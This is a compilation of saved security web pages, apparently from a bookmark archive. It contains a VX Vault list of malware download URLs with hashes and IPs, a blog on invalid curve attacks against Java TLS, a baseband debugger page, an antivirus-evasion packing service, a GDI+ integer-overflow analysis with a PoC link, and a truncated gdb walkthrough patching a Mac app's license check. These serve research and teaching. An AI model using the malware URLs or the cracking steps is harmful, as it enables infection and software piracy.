Unfortunately, as calculator prices collapsed, so did Sinclair Radionics'
profits, and the company was broken up in 1979 after heavy losses**.** Clive
Sinclair's new company Sinclair Research went on to sell the highly-popular ZX
80 and ZX Spectrum home computers**.** Clive Sinclair was knighted for his
accomplishments in 1983, becoming Sir Clive Sinclair**.**

## Credits****

This work was done in cooperation with the Visual 6502  team**.** Special
thanks to John McMaster for chip processing and photography; Ed Spittles for
timings and experiments on a real calculator, detailed feedback, and HAKMEM
info; Phil Mainwaring for documentation, feedback and analysis; and James
Abbatiello for code improvements**.** The Sinclair history is based on
multiple sources including Electronics Weekly , Vintage Calculators , _The
Sinclair Story_ , and _Programming the "Scientific"_ by Nigel Searle in
Wireless World June 1974**.** The simulator is available on GitHub as
TICalculatorJSSimulator **.**

If you want a short link to this page, use http://righto.com/sinclair **.**

This article has a bunch of interesting comments at Hacker News  so take a
look**.** Thanks for visiting\!

****

# VX Vault

**Created:**| _5/18/2011 8:53:57 PM_  
---|---  
**Updated:**| _5/18/2011 8:54:12 PM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  

  * Hash
  * URL

Search MD5:

<< Start ··· < Previous ··· 1 ··· Next > ··· End >> ··· Full List  

Date | URL | MD5 | Size | IP  
---|---|---|---|---  
2011-05-18 | quacefikoigera.linkpc.net/maindirectory/get.php?name=pr0n\_Movie\_123.mp | 9E1D87E2CD89970EA31C1CB5A2F35F4B | 331776 | 80.91.176.192  
2011-05-18 | cukerbuker.com/pusk2.exe | E22FB867DFA2F85DF043A17744CA2D90 | 536064 | 24.121.160.135  
2011-05-18 | xmycelebs.co.cc/Adobeflash\_Setup.exe | AA627D9B1F802CB4D3D478622886C403 | 77824 | 173.192.121.232  
2011-05-18 | okynehirymuume.linkpc.net/maindirectory/get.php?name=Anal\_Porn\_Movie\_1 | 825096F834AA7813AB62FDDDD74ACB4D | 335872 | 80.91.176.192  
2011-05-18 | mcmonnes.ce.ms/ | 860D251915B8BCAF8C59A0C14CCBC2D6 | 266897 | 46.161.11.100  
2011-05-18 | ketchersode.ce.ms/ | 76F1293CFBC9DD2B7461A31FC21A2750 | 266881 | 46.161.11.100  
2011-05-18 | flashplugins.net/best/VideoPlugin\_v43.exe | 9AE1C7CDFD88F99881D7ECC781E2C59B | 419840 | 91.221.99.247  
2011-05-18 | defender-nessc.in/42c366af1f24f318/sa1/0/freesystemscan.exe | E6AF35EA39429F83FC5E71D8002F9B0F | 272923 | 46.252.131.19  
2011-05-18 | youtubeonline.net/Rosana.%20avi.exe | 747751BB50F4EDBF030640E3FDE2C6F2 | 658682 | 174.123.132.122  
2011-05-18 | xmycelebs.co.cc/Adobeflash\_Setup.exe | FDBDCE9D99900B571D997F219EFD5147 | 77824 | 173.192.121.232  
2011-05-18 | variantov.com/pusk.exe | 7A59F65FFFBA348D41E3F5750DEE9D88 | 432640 | 59.26.33.159  
2011-05-17 | phonezero.com.br/a.exe | 9FA1C5A1031BB9EE54B9FA296732739E | 319488 | 66.7.204.148  
2011-05-17 | 86.55.210.75/service/scripts/files/aff\_50063.dll | 3558548C30C02F2A2728C3D9C403BC89 | 147968 | 86.55.210.75  
2011-05-17 | stillmate.co.cc:81/acrobat/download\_file.php?e=Java-2010-3552 | 7AF194291418CFBE618FC48BF42A33E5 | 14848 | 193.105.154.40  
2011-05-17 | stillmate.co.cc:81/acrobat/download\_file.php?e=JavaSignedApplet | 7AF194291418CFBE618FC48BF42A33E5 | 14848 | 193.105.154.40  
2011-05-17 | mnuyspe.co.be/k.php?f=24 | BFE6895B26A14567A8A1575499A65A17 | 200704 | 193.105.121.158  
2011-05-17 | mnuyspe.co.be/k.php?f=23 | ED89785E0D954EBEA3E7C3D306AB39D7 | 196608 | 193.105.121.158  
2011-05-17 | mnuyspe.co.be/k.php?f=17 | 6402079EBD3F46796F8B7193A97FC979 | 188416 | 193.105.121.158  
2011-05-17 | mnuyspe.co.be/k.php?f=18 | 5E28284F9B5F9097640D58A73D38AD4C | 69120 | 193.105.121.158  
2011-05-17 | mnuyspe.co.be/k.php?f=16 | DECDF3D74FA17030DE2271A1FCAAD7C9 | 188416 | 193.105.121.158  
2011-05-17 | qqjfznxkgmqnuzkh.com/forum/ | 470621C4982E968D1CA3392DDDFCBDF8 | 194820 | 72.22.88.253

# On Web-Security and -Insecurity: Practical Invalid Curve Attacks

**Created:**| _9/15/2015 2:50:32 PM_  
---|---  
**Updated:**| _9/15/2015 2:50:32 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  
  

###  Practical Invalid Curve Attacks

Next week at ESORICS, I am going to present our newest research paper on
attacking elliptic curve implementations \(it is a joint work with Tibor Jager
and Jörg Schwenk\). It might be of interest especially for people who like
practical crypto attacks...or for anybody who hates Java, since the attacks
were applicable to two out of eight analyzed libraries: Bouncy Castle and Java
Crypto Extension \(JCE\). The result is quite interesting since the attacks
allow an attacker to recover private EC keys from different applications, for
example, TLS servers.  

##  Elliptic Curve Crypto

Elliptic Curve Cryptography \(ECC\) is one of the cornerstones of modern
cryptography, due to its security and performance features. It is used in key
exchange protocols as well as for computing signatures, or for constructing
secure random number generators with backdoors \(Dual\_EC\_DRBG\).

In order to understand the basic idea behind our attacks, you just need to
know that an elliptic curve E in cryptography is a set of points over a finite
field satisfying the following equation:

**E: y^2 = x^3 + ax + b**

On the elliptic curve, a single operation can be executed: point addition.  
  
For cryptographic purposes, elliptic curves have to be chosen very carefully,
because from the curve points we want to establish our keys. Thus, a careful
selection should give us a curve with a large set of points. These points form
a group G with a generator point **P** \(base point\) with order**n**. The
order defines the _smallest_ number such that **\(n+1\) \* P = P**. In other
words, if we execute the ADD operation with the base point \(n+1\) times, we
visit _all_ the points on the curve and get back to the base point.  
  
Generating a secure elliptic curve is not that easy. Therefore, predefined
elliptic curves like brainpool or NIST are typically used in security
protocols like TLS. Note that the described attacks apply only to the curves
described by the equation**y^2 = x^3 + ax + b** , in particular to the NIST
curves.  
  
If you want to get more information on this topic, you can for example take a
look at the articles of Andrea Corbellini:
http://andrea.corbellini.name/2015/05/17/elliptic-curve-cryptography-a-gentle-
introduction/  

##  Elliptic Curve Diffie Hellman in TLS

The goal of an elliptic curve Diffie Hellman \(ECDH\) key exchange is to
establish a common secret between two parties, for example between a client
and a server. Let us assume both parties compute the secret using an elliptic
curve E with a base point P. The client has a private key **q** and public key
**qP** and the server has a private key **s** and public key **sP**. In order
to establish a common secret, they exchange their public keys and establish a
secret: **q\(sP\) = s\(qP\)**. Typically, the x coordinate of the computed
point is used as a secret.

  

In case of TLS, this key exchange is used to compute a common premaster
secret. For this purpose, the server sends its public key in the certificate
message. The client sends its public key in the ClientKeyExchange message.
Afterwards, both parties are then able to compute premaster secret **pms =
q\(sP\) = s\(qP\)**. From this premaster secret, master secret and further
keys are derived. The client and server prove the possession of these keys by
computing correct Finished messages.

  

<img src='img/tls-ecdh.jpeg' width='387' height='400' />

  

##  Invalid Curve Attacks

Now, we know how to use elliptic curves for exchanging keys and that it is
crucial for the key exchange to use secure elliptic curves, containing
elements with high order. However, what happens if the client forces the
server to compute a common secret using a point outside of the defined curve?

  
This may seem to be strange, but it could have serious consequences. The
problem is that the invalid point could belong to a different curve **E '**,
which consists of a very small number of elements.  
  
Let me give you an example. Consider a server using NIST-256 \(secp256r1\)
elliptic curve. This curve has a huge number of elements. However, if we force
the server to compute with a given curve algorithm and the point  
x:
82794344854243450371984501721340198645022926339504713863786955730156937886079  
y:
33552521881581467670836617859178523407344471948513881718969729275859461829010  
\(which does not belong to this NIST curve\), we get only _five_ possible
results \(four points and a point in infinity\). The resulting group of this
invalid curve has an order 5. See the following figure.  
  

<img src='img/InvalidPoint5.png' width='640' height='356' />

  
If you want to play with elliptic curves or use it in your lectures, you can
take a look at this tool I built some time ago:  
https://github.com/RUB-NDS/EccPlayground  
  
Ok...but what does this bring us?  
This is quite simple. We now know all the points on the invalid elliptic curve
**E '**. If we send the invalid point **P '** to the server, the server
computes secret **sP '**. The secret can have only **5** possible values. If
we are able to learn the result**sP '**, we then also learn **s1 = s mod 5**.  
  
We repeat this for points with orders of 7, 11, 13..., until we can compute a
CRT and thus learn the server private key. Easy :\)  
  
  
There are some complications since we typically learn only the x-coordinate of
the resulting point, see our paper for more details:  
https://www.nds.rub.de/research/publications/ESORICS15/  
  
These attacks are also sometimes referenced as _invalid point attacks_.  

##  Attacking TLS Implementations

Attacking TLS is not that straightforward since a TLS server does not respond
directly with the computed premaster secret **sP '**. Instead, first the
client has to prove he is in possession of a correct premaster secret, by
sending a ClientFinished message.

  

This is however not a big deal. Everything what we need to do for learning
**sP '** is to establish several TLS handshakes. Given a point **P '** of a
small order, we just need to compute premaster secrets **pms1=P '**, **pms2=2P
'**, **pms3=3P '** etc., and use them to compute ClientFinished messages in
the handshakes. If the server accepts the ClientFinished message, we know our
guess was correct. See the simplified process below.

<img src='img/tls-oracle-blog.jpeg' width='640' height='451' />

  

This way, we can establish our oracle from a TLS server.

##  Evaluation

We evaluated 8 crypto libraries and their vulnerabilities to invalid curve
attacks. We found out that the Bouncy Castle library and the Oracle JCE
provider were vulnerable and we could extract private keys from the TLS
servers running these libraries. The attacks are quite powerful. For Bouncy
Castle, we needed about _3300_ real server queries. For Oracle JCE, we needed
about _17000_ real server queries. We tested with the NIST-256 curve. The high
number of requests needed for the Java servers results from a strange
behaviour \(bug?\) in the Java EC computation. You can get more information on
the evaluation in our paper.

  

If you use these libraries for EC, you better update them and possibly revoke
your old EC keys.

##  FAQ

####  What is the difference to the Heartbleed attack?

The Heartbleed attack was also used to recover private keys. However, it could
be applied to OpenSSL \(which is much more widely used\) independently of the
used key types. Our attack can only be used against Java implementations using
static EC keys \(e.g., TLS servers using TLS\_ECDH\_\* ciphersuites\). On the
other hand, our attack is more general, since it does not apply only to TLS,
but can be independently used of the protocol. In our work, we analyzed TLS
servers just to prove feasibility of the developed attacks \(and because if
you nowadays hack TLS, everybody is scared\).  

####  When were the vulnerabilities fixed?

Bouncy Castle was fixed in version 1.51. Java was fixed with the critical
security update in July 2015:
http://www.oracle.com/technetwork/topics/security/cpujul2015-2367936.html
\(CVE-2015-2613\). If you used your EC keys before the updates, we better
encourage you to update these keys...  
  
The implementations now check whether the incoming points belong to the
elliptic curve.  

####  Is my application vulnerable, if I use only ephemeral ECDHE
ciphersuites?

In case of an ephemeral Diffie Hellman, the server generates an EC key
dynamically with each client request. This makes our attacks infeasible, since
we rely on the fact that the server reuses the same key.

  

The attack could still be applicable if the server would cache the EC keys and
reuse them in several connections, as is the default case in OpenSSL. However,
we could not observe this behaviour in Java servers.

####  What is actually new about this attack and what is your contribution?

The attack was \(to the best of our knowledge\) first described by Ingrid
Biehl, Bernd Meyer, and Volker Müller at CRYPTO 2000: Differential fault
attacks on elliptic curve cryptosystems. We showed that the attack is still
relevant to some widely used implementations and we analyzed how to overcome a
strange behavior of Java \(see our paper\).

####  Are you going to make the code public?

Yes, in the future...

####  I am the admin of www.xyz.com and I lost my private key. Could you
recover it?

Of course, for this reason we closely cooperate with the Hacking Team. Send
your inquiries to ec@hackingteam.it

####  What is the name of the attack? What is the logo?

Invalid Curve Attack 3000++. No logo. Yet.

####  Great, where can I learn more about crypto attacks?

You can for example visit our workshop at Deepsec ;\)

https://deepsec.net/speaker.html\#WSLOT188

Maybe, you will learn about more implementations vulnerable to these
attacks...

Eingestellt von  Juraj Somorovsky um 00:55

Diesen Post per E-Mail versendenBlogThis\!In Twitter freigebenIn Facebook
freigebenAuf Pinterest teilen

| | Auf Google empfehlen  
---  
Standort: Austria

  

  *[00:55]: 2015-09-14T00:55:00-07:00

# qcombbdbg - Debugger for the Qualcomm baseband chip MSM6280. - Google
Project Hosting

**Created:**| _1/31/2012 7:19:27 PM_  
---|---  
**Updated:**| _1/31/2012 7:19:39 PM_  
**Author:**| __  
**Tags:**| _Debugging hardware wireless gsm baseband_  
  

<img src='img/Temp2_10584.png' alt='Logo' /> |  qcombbdbg Debugger for the Qualcomm baseband chip MSM6280. |   
---|---|---  
Project Home Downloads Wiki Issues Source

Summary Updates People |   
---|---  
Project Information

  * Activity <img src='img/Temp2_10585.png' /> Medium
  * Project feeds
  *   * **Code license**
  * GNU GPL v3
  *   * **Labels**  
Baseband, Debugger, Qualcomm, Embedded

  * 
**Members**

guilla...@security-labs.org

  * 
|

### DEPENDENCIES

  * GNU ARM compilation toolchain. 
  * Cross-compiled GDB for ARM. 
  * Ruby interpreter. 

### DIRECTORIES

  * `src/preloader`: Simple stager payload to speed up the debugger injection. 
  * `src/qcombbdbg`: Debugger sources. 
  * `scripts/tools/dbgupload.rb`: Uploads the debugger into volatile memory. 
  * `scripts/tools/gdbproxy.rb`: Proxy to interface GDB with the live debugger. 

### SUPPORTED DEVICES

  * Option Icon 225, firmware revision `2.5.13Hd`
  * Option Icon 225, firmware revision `2.5.21Hd`
  * Option Icon 225, firmware revision `2.5.23Hd`

### USAGE

  1. Compile `preloader.bin` and `qcombbdbg.bin` images \(e.g `make MODEL=2.5.13Hd`\). 
  2. Plug the USB stick, 3 emulated serial ports should appear \(under Linux, requires the `hso` module\). 
  3. Go to `scripts/tools` and run: `ruby dbgupload.rb /dev/ttyHS2`
  4. On success, run: `ruby gdbproxy.rb tcp:1234 tty:/dev/ttyHS2`
  5. Fire GDB, and load the `.gdbinit` file provided in the root folder. 
  6. Type: `connect 1234`, GDB will connect to the proxy and will import the list of threads. 

### RANDOM NOTES

> This is still very experimental.
> REX creates a fake idle task named 'REX Idle Task' \(Task \#1\). This task
> is actually never scheduled, so you cannot break it, nor step into it. The
> real idle task is called 'SLEEP'. At startup, GDB will automatically attach
> to a thread and stop it. The debugger forces GDB to attach to the fake idle
> task, so the system will still be fully running.
> In non-stop mode, GDB will execute commands in the current thread context.
> If you want to change the current thread, use the command `thread <num>`.
> The first thing you might want to do is to interrupt the watchdog task.
> For example:
[code]

       (gdb) thread find DOG
       Thread 68 has extra info 'DOG           [wait: 0x00006800; active: 0x00000000]'
       
       (gdb) thread apply 68 interrupt
       Thread 68 (Thread 68):
       [Thread 68] #68 stopped.
     
[/code]

> Displaced stepping is disabled for the moment \(as of GDB 7.3.1, Thumb is
> not supported\). Consequently, do not try to single-step or put breakpoints
> into heavily used system functions \(like `memcpy`, `rex_wait`,
> `rex_set_signals`, and so on\). If the DIAG task or the USB task encounters
> an exception, the debugger won't be able to handle it.  
---|---  
©2011 Google -

# PolyPack: An Automated Online Packing Service for Optimal Antivirus Evasion

**Created:**| _7/22/2009 1:00:22 PM_  
---|---  
**Updated:**| _7/22/2009 1:00:37 PM_  
**Author:**| __  
**Tags:**| _reversing Malware-analysis_  
  

### About PolyPack

PolyPack is a web service that uses an array of packers and antivirus engines
as a feedback mechanism to select the packer that will result in the optimal
evasion of the antivirus engines. Our current implementation, based on the
CloudAV backend, employs 10 packers and 10 popular antivirus engines. More
information about PolyPack is available in our paper:  
  
**PolyPack: An Automated Online Packing Service for Optimal Antivirus
Evasion**  
 _Jon Oberheide, Michael Bailey, and Farnam Jahanian_  
Workshop on Offensive Technologies \(WOOT'09\)  
PDF: http://jon.oberheide.org/files/woot09-polypack.pdf

The PolyPack service was written by Jon Oberheide.

# Analysis of CVE-2011-0041 vulnerability in GDI+ | Abysssec Security Research
**Created:**| _7/18/2011 3:07:08 PM_  
---|---  
**Updated:**| _7/18/2011 3:07:08 PM_  
**Author:**| __  
**Tags:**| _Exploit windows vulnerability_  
  

## Analysis of CVE-2011-0041 vulnerability in GDI+

Posted by shahin in advisory, Exploits / BUG Decryption, reversing | Tags :BA, binary analysis, Bounty, CVE-2011-0044, exploit, GDI+, metasploit, MSF, VUPEN | No Comments
Abysssec Research

<img src='img/Temp2_577.png' width='222' height='203' />

we tried for other case in exploit bounty this time for a 500$ one .

no luck for successful exploitation and to be host we didn’t tried so hard .
at least we got a PoC and here is our analysis for this cool bug.

# 1\) Advisory information

**Title : GDI+ CreateDashedPath Integer overflow in gdiplus.dll**  
---  
**Discovery :Nicolas july from vupen**

**Analysis :Abysssec.com**

**Vendor :http://www.microsoft.com**

**Impact : High**

**Contact : info \[at\] abysssec.com**

**Twitter : @abysssec**

##  CVE : CVE-2011-0041

# 2\) Vulnerable version

**Gdiplus.dll 5.2.6001.22319**  
---  
# 3\) Vulnerability information

Class  
---  
**1-Integer overflow**

Impact****

**Successfully exploiting this issue allows remote attackers to execute
arbitrary code in the context of vulnerable application or cause denial-of-
service conditions.**

Remotely Exploitable

**Yes**

Locally Exploitable****

**Yes**

#

# 4\) Vulnerabilities detail

The vulnerability exists in gdiplus\!GpPath::CreateDashedPath function of
gdiplus.dll that is responsible for bitmap drawing and other 2d graphic
rendering. EMF+ file is one of the image file format that is rendered by the
library. And the vulnerability is based on some floating point calculation of
an EMF+ path object.

We made the following proof of concept to trigger the issues and it will be
explained more:

<img src='img/Temp2_575.png' width='300' height='186' />

A little taste of file format we simply put a EMF\_COMMENT record \(id =
0×00000046\) and embed and emf+ geraphic object \( id = 0×00004008 \) . For
simplicity we ripped out a valid graphic object from another file and started
to play with it. The record have two important area that we highlighted them
in the above picture.

Here is the faulty code:

**.text:4ECFCBAD loc\_4ECFCBAD:**  
---  
**.text:4ECFCBAD mov eax, esi**

**.text:4ECFCBAF shl eax, 3**

**.text:4ECFCBB2 cmp \[ebp+lpMem\], 0**

**.text:4ECFCBB6 push eax ; dwBytes**

**.text:4ECFCBB7 jz short loc\_4ECFCBCE**

**.text:4ECFCBB9 push \[ebp+lpMem\] ; lpMem**

**.text:4ECFCBBC call GpRealloc\(x,x\)**

**.text:4ECFCBC1 test eax, eax**

**.text:4ECFCBC3 jz loc\_4ECFCCDB**

**.text:4ECFCBC9 mov \[ebp+lpMem\], eax**

**.text:4ECFCBCC jmp short loc\_4ECFCBDE**

**.text:4ECFCBCE ; —————————————————————————**

**.text:4ECFCBCE**

**.text:4ECFCBCE loc\_4ECFCBCE:**

**.text:4ECFCBCE call GpMalloc\(x\)**

**.text:4ECFCBD3 test eax, eax**

**.text:4ECFCBD5 mov \[ebp+lpMem\], eax**

**.text:4ECFCBD8 jz loc\_4ECFCCDB**

The above code uses the eax register as arguments to the GpMalloc function.
GpMalloc is simply a gdi version of heapAlloc function. The value of eax
register is based on various floating point calculation that is not simple to
examine at first look.

But I traced the value of eax register and it seems the calculations are based
on our values mentioned earlear in the file. And it doesn’t bound checked
well, by changing the path value tricky it is possible when the “shr eax, 3”
instruction multiply the value by 8 we get an integer overflow and in turn a
faulty heap allocation.

I dynamically traced the values with my proof of concept file. Eax register is
equall to eax + \[ebp-38\] \* 10 and as there are a lot of values and
calculations before that, for better consideration I made the following
diagram:

<img src='img/Temp2_576.png' width='300' height='290' />

It took a lot of time explanation of all of the variables above but, the
important one is the GpPath object that is in the code a clone of the object
is made to later be manipulated for drawings.

**.text:4ECFC9D9 loc\_4ECFC9D9: ; CODE XREF: GpPath::CreateDashedPath\(DpPen
const \*,GpMatrix const \*,float,float,float,int\)+1AAj**  
---  
**.text:4ECFC9D9 fld dword ptr \[esi+eax\*4\]**

**.text:4ECFC9DC fmul \[ebp+arg\_0\]**

**.text:4ECFC9DF fstp dword ptr \[esi+eax\*4\]**

**.text:4ECFC9E2 inc eax**

**.text:4ECFC9E3 cmp eax, \[ebp+arg\_4\]**

**.text:4ECFC9E6 jl short loc\_4ECFC9D9**

**.text:4ECFC9E8**

**.text:4ECFC9E8 loc\_4ECFC9E8:**

**.text:4ECFC9E8 mov ecx, \[ebp+var\_18\] ; Src**

**.text:4ECFC9EB call GpPath::Clone\(void\)**

**.text:4ECFC9F0 mov edi, eax**

**.text:4ECFC9F2 test edi, edi**

**.text:4ECFC9F4 jz loc\_4ECFCDBA**

**.text:4ECFC9FA mov eax, \[edi\]**

**.text:4ECFC9FC mov ecx, edi**

**.text:4ECFC9FE call dword ptr \[eax+4\]**

After calling the clone, it checks whether it is a valid clone or not at
address 4ECFC9FE.

The offset +34h of the object contains a pointer to our 4byte path object
values.

**0:000 > dd ecx**  
---  
**0e03ca50 4ec67e58 68745031 00000000 00000000**

**0e03ca60 0e03ca74 0e03ca74 00000010 00000010**

**0e03ca70 00000002 00000100 00000000 00000000**

**0e03ca80 00000000 0e03ca98 0e03ca98 00000010**

**0e03ca90 00000010 00000002 449a8eab 458ac500**

**0e03caa0 449a8eab 4e0000fe 00000000 00000000**

**0e03cab0 00000000 00000000 00000000 00000000**

**0e03cac0 00000000 00000000 00000000 00000000******

Our floating point values in the file format:

**0e03ca98 449a8eab 458ac500 449a8eab 4e0000fe**  
---  
**0e03caa8 00000000 00000000 00000000 00000000******

But there are some modifications on our values before we get the faulty code.
First after the clone is performed GpPath::Flatten function made some changes
to our values based on a transform matrix in the file. So this is cause of the
highlighted 6 DWORDs in the file.­­­

**.text:4ECFC9FE call dword ptr \[eax+4\]**  
---  
**.text:4ECFCA01 test eax, eax**

**.text:4ECFCA03 jz loc\_4ECFCDBA**

**.text:4ECFCA09 fld ds:flt\_4ECB80FC**

**.text:4ECFCA0F push ecx ; float**

**.text:4ECFCA10 lea eax, \[ebp+var\_F8\]**

**.text:4ECFCA16 fstp \[esp+108h+var\_108\]**

**.text:4ECFCA19 push eax ; int**

**.text:4ECFCA1A mov ecx, edi**

**.text:4ECFCA1C call GpPath::Flatten\(GpMatrix const \*,float\)**

**.text:4ECFCA21 cmp \[ebp+var\_2C\], 0**

Flattened GpPath object values:

**0:000 > dd poi\(edi+34\)**  
---  
**0e03cd18 449a7eab 458ac100 449a7eab 4e0000fd**

**0e03cd28 00000000 00000000 00000000 00000000******

And after that our changed GpPath object is sent to calculateGradiantArray and
some array of floating point values are made based on its calculation.

There are many other default floating point values has effects on the value of
the overflowing size for GpMalloc that are not so interesting and I’ve just
shown them on the diagram.

After the calculation integer wrapped, the heap allocated by the gpMalloc
function is not big enough to hold our data. So in next uses of the wrapped
allocated heap the corruption occurs. But it seems there is not a straight way
of exploiting such heap corruptions using a standalone file. .

<img src='img/Temp2_574.png' width='300' height='142' />

[code]

    PoC link   : http://abysssec.com/files/GDI_PoC.zip
[/code]

# Kenneth Ballenegger — I Can Crack Your App With Just A Shell \(And How To
Stop Me\)

**Created:**| _1/17/2011 10:33:46 PM_  
---|---  
**Updated:**| _1/17/2011 10:33:57 PM_  
**Author:**| __  
**Tags:**| _crackme Mac-hacking software_  
  

### I Can Crack Your App With Just A Shell \(And How To Stop Me\)

Well, not  _you_ specifically, but by  _you_ I mean the average Mac developer.
It’s too easy to crack Mac apps. Way too easy. By walking through how I can
hack your app with only one Terminal shell, I hope to shed some light on how
this is most commonly done, and hopefully convince you to protect yourself
against me. I’ll be ending this article with some tips to prevent this kind of
hack.

Disclaimer: I am fervently  _against_ software piracy, and I do not
participate in piracy. Some will view this article as an endorsement of
piracy, but rest assured that it is not. However, I do not believe that
obscurity and ignoring the problem is an acceptable solution.

In order to follow along you’re going to need a few command line utilities.
You’re going to need the Xcode tools installed. And lastly, you’re going to
need an app to operate on. I choseExces, a shareware App I wrote a long time
ago.

Let’s start by making sure we have the two utilities we need: `otx` and
`class-dump`. I like to use Homebrew as my package manager of choice. Note
that I will use command line utilities only, including `vim`. If you prefer
GUIs, feel free to use your code editor of choice, HexFiend and `otx`’s GUI
app.

[code]

    $ sudo brew install otx
    $ sudo brew install class-dump
    
    
[/code]

The first step is to poke into the target app’s headers, gentlemanly left
intact by the unwitting developer.

[code]

    $ cd Exces.app/Contents/MacOS
    $ class-dump Exces | vim
    
    
[/code]

Browse around, and find the following gem:

[code]

    @interface SSExcesAppController : NSObject
    {
    [...]
        BOOL registred;
    [...]
    - (void)verifyLicenseFile:(id)arg1;
    - (id)verifyPath:(id)arg1;
    - (BOOL)registred;
    
    
[/code]

What do we have here?\! A \(badly spelt\) variable and what looks like three
methods related to registration. We can now focus our efforts around these
symbols. Let’s continue poking by disassembling the source code for these
methods.

[code]

    $ otx Exces -arch i386
    
    
[/code]

Note that Exces is a universal binary, and that we need to ensure we only deal
with the active architecture. In this case, Intel’s `i386`. Let us find out
what `verifyLicenseFile:` does.

[code]

    -(void)[SSExcesAppController verifyLicenseFile:]
    [...]
    +34  0000521e  e8c21e0100              calll       0x000170e5                    -[(%esp,1) verifyPath:]
    +39  00005223  85c0                    testl       %eax,%eax
    +41  00005225  0f84e2000000            je          0x0000530d
    [...]
    +226  000052de  c6472c01                movb        $0x01,0x2c(%edi)              (BOOL)registred
    [...]
    
    
[/code]

This is not straight Objective-C code, but rather assembly—what C compiles
into. The first part of each line, the offset, `+34`, shows how many bytes
into the method the instruction is.`0000521e` is the address of the
instruction within the program. `e8c21e0100` is the instruction in byte code.
`calll 0x000170e5` is the instruction in assembly language. `-[(%esp,1)
verifyPath:]` is what `otx` could gather the instruction to represent in Obj-C
from the symbols left within the binary.

With this in mind, we can realize that `verifyLicenseFile:` calls the
method`verifyPath:` and later sets the boolean instance variable `registred`.
We can guess that`verifyPath:` is probably the method that checks the validity
of a license file. We can see from the header that `verifyPath:` returns an
object and thus would be way too complex to patch. We need something that
deals in booleans.

Let’s launch Exces in the `gdb` debugger and check when `verifyLicenseFile:`
is called.

[code]

    $ gdb Exces 
    (gdb) break [SSExcesAppController verifyLicenseFile:]
    Breakpoint 1 at 0x5205
    (gdb) run
    
    
[/code]

No bite. The breakpoint is not hit on startup. We can assume that there’s a
good reason why`verifyLicenseFile:` and `verifyPath:` are two separate
methods. While we could patch`verifyLicenseFile:` to always set `registred` to
true, `verifyLicenseFile:` is probably called only to check license files
entered by the user. Quit `gdb` and let’s instead search for another piece of
code that calls `verifyPath:`. In the `otx` dump, find the following
in`awakeFromNib`:

[code]

    -(void)[SSExcesAppController awakeFromNib]
    [...]
    +885  00004c8c  a1a0410100              movl        0x000141a0,%eax               verifyPath:
    +890  00004c91  89442404                movl        %eax,0x04(%esp)
    +894  00004c95  e84b240100              calll       0x000170e5                    -[(%esp,1) verifyPath:]
    +899  00004c9a  85c0                    testl       %eax,%eax
    +901  00004c9c  7409                    je          0x00004ca7
    +903  00004c9e  8b4508                  movl        0x08(%ebp),%eax
    +906  00004ca1  c6402c01                movb        $0x01,0x2c(%eax)              (BOOL)registred
    +910  00004ca5  eb7d                    jmp         0x00004d24                    return;
    [...]
    
    
[/code]

The code is almost identical to `verifyLicenseFile:`. Here’s what happens:

  * `verifyPath:` is called. \(`+894 calll`\)
  * A test happens based on the result of the call. \(`+899 testl`\)
  * Based on the result of the text, jump if equal. \(`+901 je`\) A `test` followed by a `je` or `jne`\(jump if not equal\) is assembly-speak for an if statement.
  * The `registred` ivar is set, if we have not jumped away.

Since `awakeFromNib` is executed at launch, we can safely assume that if we
override this check, we can fool the app into thinking it’s registered. The
easiest way to do that is to change the `je` into a `jne`, essentially
reversing its meaning.

Search the dump for any `jne` statement, and compare it to the `je`:

[code]

    +901  00004c9c  7409                    je          0x00004ca7
    +14  00004d9f  7534                     jne         0x00004dd5                    return;
    
    
[/code]

`7409` is the binary code for `je 0x00004ca7`. `7534` is a similar binary
code. If we simply switch the binary code for the `je` to `7534`, at address
`00004c9c`, we should have our crack. Let’s test it out in `gdb`.

[code]

    $ gdb Exces 
    (gdb) break [SSExcesAppController awakeFromNib]
    Breakpoint 1 at 0x4920
    (gdb) r
    (gdb) x/x 0x00004c9c
    0x4c9c <-[SSExcesAppController awakeFromNib]+901>:  0x458b0974
    
    
[/code]

We break on `awakeFromNib` so we’re able to fiddle around while the app is
frozen. `x/x`reads the code in memory at the given address.Now here’s the
confusing thing to be aware of:  _endianness_. While on disk, the binary code
is normal, intel is a little-endian system which puts the most significant
byte last, and thus reverses every four-byte block in memory. so while the
code at address `0x4c9c` is printed as `0x458b0974`, it’s actually
`0x74098b45`. We recognize the first two bytes `7409` from earlier.

We need to switch the first two bytes to `7534`. Let’s start by disassembling
the method so we can better see our way around. Find the relevant statement:

[code]

    0x00004c9c <-[SSExcesAppController awakeFromNib]+901>:  je     0x4ca7 <-[SSExcesAppController awakeFromNib]+912>
    
[/code]

Now let’s edit code in memory.

[code]

    (gdb) set {char}0x00004c9c=0x75
    (gdb) x/x 0x00004c9c
    0x4c9c <-[SSExcesAppController awakeFromNib]+901>:  0x458b0975
    (gdb) set {char}0x00004c9d=0x34
    (gdb) x/x 0x00004c9c
    0x4c9c <-[SSExcesAppController awakeFromNib]+901>:  0x458b3475
    
    
[/code]

Here we set the first byte at `0x00004c9c`. By simply counting in hexadecimal,
we know that the next byte goes at address `0x00004c9d`, and set it as such.
Let’s disassemble again to check if the change was done right.

[code]

    (gdb) disas
    0x00004c9c <-[SSExcesAppController awakeFromNib]+901>:  jne    0x4cd2 <-[SSExcesAppController awakeFromNib]+955>
    
[/code]

Whoops, we made a mistake and changed the destination of the jump from `+912`
to `+955`. We realize that the first byte \(`74`\) of the byte code stands for
the `je`/`jne` and the second byte is the offset, or how many bytes to jump
by. We should only have changed `74` to `75`, and not `09` to `34`. Let’s fix
our mistake.

[code]

    (gdb) set {char}0x00004c9c=0x75
    (gdb) set {char}0x00004c9d=0x09
    
    
[/code]

And check again…

[code]

    0x00004c9c <-[SSExcesAppController awakeFromNib]+901>:  jne    0x4ca7 <-[SSExcesAppController awakeFromNib]+912>
    
[/code]

Hooray\! This looks good\! Let’s execute the app to admire our crack.

[code]

    (gdb) continue
    
    
[/code]

Woot\! Victory\! We’re in, and the app thinks we’re a legitimate customer.
Time to get wasted and **party**\! \(I recommend Vessel nightclub in downtown
San Francisco.\) Well, not quite. We still need to make our change permanent.
As it currently stands, everything will be erased as soon as we quit `gdb`. We
need to edit the code on disk, in the actual binary file. Let’s find a chunk
of our edited binary big enough that it likely won’t be repeated in the whole
binary.

[code]

    (gdb) x/8x 0x00004c9c
